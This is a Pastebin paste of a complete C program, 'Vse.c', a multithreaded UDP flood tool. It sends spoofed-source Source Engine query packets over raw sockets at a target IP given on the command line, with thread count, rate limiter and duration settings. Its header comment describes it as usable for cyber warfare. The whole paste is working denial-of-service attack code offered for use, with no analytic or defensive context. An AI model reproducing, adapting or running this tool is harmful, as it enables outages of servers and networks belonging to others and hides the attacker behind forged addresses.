Merlyz

Vse.c

Oct 14th, 2020
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.34 KB | None | 0 0
  1. /*
  2.         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3. */
  4.  
  5. #include <pthread.h>
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/udp.h>
  13.  
  14. #define MAX_PACKET_SIZE 4096
  15. #define PHI 0x9e3779b9
  16.  
  17. static unsigned long int Q[4096], c = 362436;
  18. static unsigned int floodport;
  19. volatile int limiter;
  20. volatile unsigned int pps;
  21. volatile unsigned int sleeptime = 100;
  22.  
  23. void init_rand(unsigned long int x)
  24. {
  25.         int i;
  26.         Q[0] = x;
  27.         Q[1] = x + PHI;
  28.         Q[2] = x + PHI + PHI;
  29.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  30. }
  31. unsigned long int rand_cmwc(void)
  32. {
  33.         unsigned long long int t, a = 18782LL;
  34.         static unsigned long int i = 4095;
  35.         unsigned long int x, r = 0xfffffffe;
  36.         i = (i + 1) & 4095;
  37.         t = a * Q[i] + c;
  38.         c = (t >> 32);
  39.         x = t + c;
  40.         if (x < c) {
  41.                 x++;
  42.                 c++;
  43.         }
  44.         return (Q[i] = r - x);
  45. }
  46. unsigned short csum (unsigned short *buf, int count)
  47. {
  48.         register unsigned long sum = 0;
  49.         while( count > 1 ) { sum += *buf++; count -= 2; }
  50.         if(count > 0) { sum += *(unsigned char *)buf; }
  51.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  52.         return (unsigned short)(~sum);
  53. }
  54.  
  55. void setup_ip_header(struct iphdr *iph)
  56. {
  57.         iph->ihl = 5;
  58.         iph->version = 4;
  59.         iph->tos = 0;
  60.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
  61.         iph->id = htonl(54321);
  62.         iph->frag_off = 0;
  63.         iph->ttl = MAXTTL;
  64.         iph->protocol = IPPROTO_UDP;
  65.         iph->check = 0;
  66.         iph->saddr = inet_addr("192.168.3.100");
  67. }
  68.  
  69. void setup_udp_header(struct udphdr *udph)
  70. {
  71.         udph->source = htons(27015);
  72.     udph->dest = htons(27015);
  73.     udph->check = 0;
  74.         void *data = (void *)udph + sizeof(struct udphdr);
  75.         memset(data, 0xFF, 4);
  76.         strcpy(data+4, "TSource Engine Query");
  77.     udph->len=htons(sizeof(struct udphdr) + 25);
  78. }
  79.  
  80. void *flood(void *par1)
  81. {
  82.         char *td = (char *)par1;
  83.         char datagram[MAX_PACKET_SIZE];
  84.         struct iphdr *iph = (struct iphdr *)datagram;
  85.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  86.        
  87.         struct sockaddr_in sin;
  88.         sin.sin_family = AF_INET;
  89.         sin.sin_port = htons(17015);
  90.         sin.sin_addr.s_addr = inet_addr(td);
  91.  
  92.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
  93.         if(s < 0){
  94.                 fprintf(stderr, "Could not open raw socket.\n");
  95.                 exit(-1);
  96.         }
  97.         memset(datagram, 0, MAX_PACKET_SIZE);
  98.         setup_ip_header(iph);
  99.         setup_udp_header(udph);
  100.  
  101.         iph->daddr = sin.sin_addr.s_addr;
  102.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  103.  
  104.         int tmp = 1;
  105.         const int *val = &tmp;
  106.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  107.                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  108.                 exit(-1);
  109.         }
  110.  
  111.         init_rand(time(NULL));
  112.         register unsigned int i;
  113.         i = 0;
  114.         while(1){
  115.                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  116.                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  117.                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  118.                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  119.                
  120.                 pps++;
  121.                 if(i >= limiter)
  122.                 {
  123.                         i = 0;
  124.                         usleep(sleeptime);
  125.                 }
  126.                 i++;
  127.         }
  128. }
  129. int main(int argc, char *argv[ ])
  130. {
  131.         if(argc < 5){
  132.                 fprintf(stderr, "Invalid parameters!\n");
  133.                 fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  134.                 exit(-1);
  135.         }
  136.  
  137.         fprintf(stdout, "Setting up Sockets...\n");
  138.  
  139.         int num_threads = atoi(argv[2]);
  140.         int maxpps = atoi(argv[3]);
  141.         limiter = 0;
  142.         pps = 0;
  143.         pthread_t thread[num_threads];
  144.        
  145.         int multiplier = 20;
  146.  
  147.         int i;
  148.         for(i = 0;i<num_threads;i++){
  149.                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  150.         }
  151.         fprintf(stdout, "Starting Flood...\n");
  152.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  153.         {
  154.                 usleep((1000/multiplier)*1000);
  155.                 if((pps*multiplier) > maxpps)
  156.                 {
  157.                         if(1 > limiter)
  158.                         {
  159.                                 sleeptime+=100;
  160.                         } else {
  161.                                 limiter--;
  162.                         }
  163.                 } else {
  164.                         limiter++;
  165.                         if(sleeptime > 25)
  166.                         {
  167.                                 sleeptime-=25;
  168.                         } else {
  169.                                 sleeptime = 0;
  170.                         }
  171.                 }
  172.                 pps = 0;
  173.         }
  174.  
  175.         return 0;
  176. }
Add Comment
Please, Sign In to add comment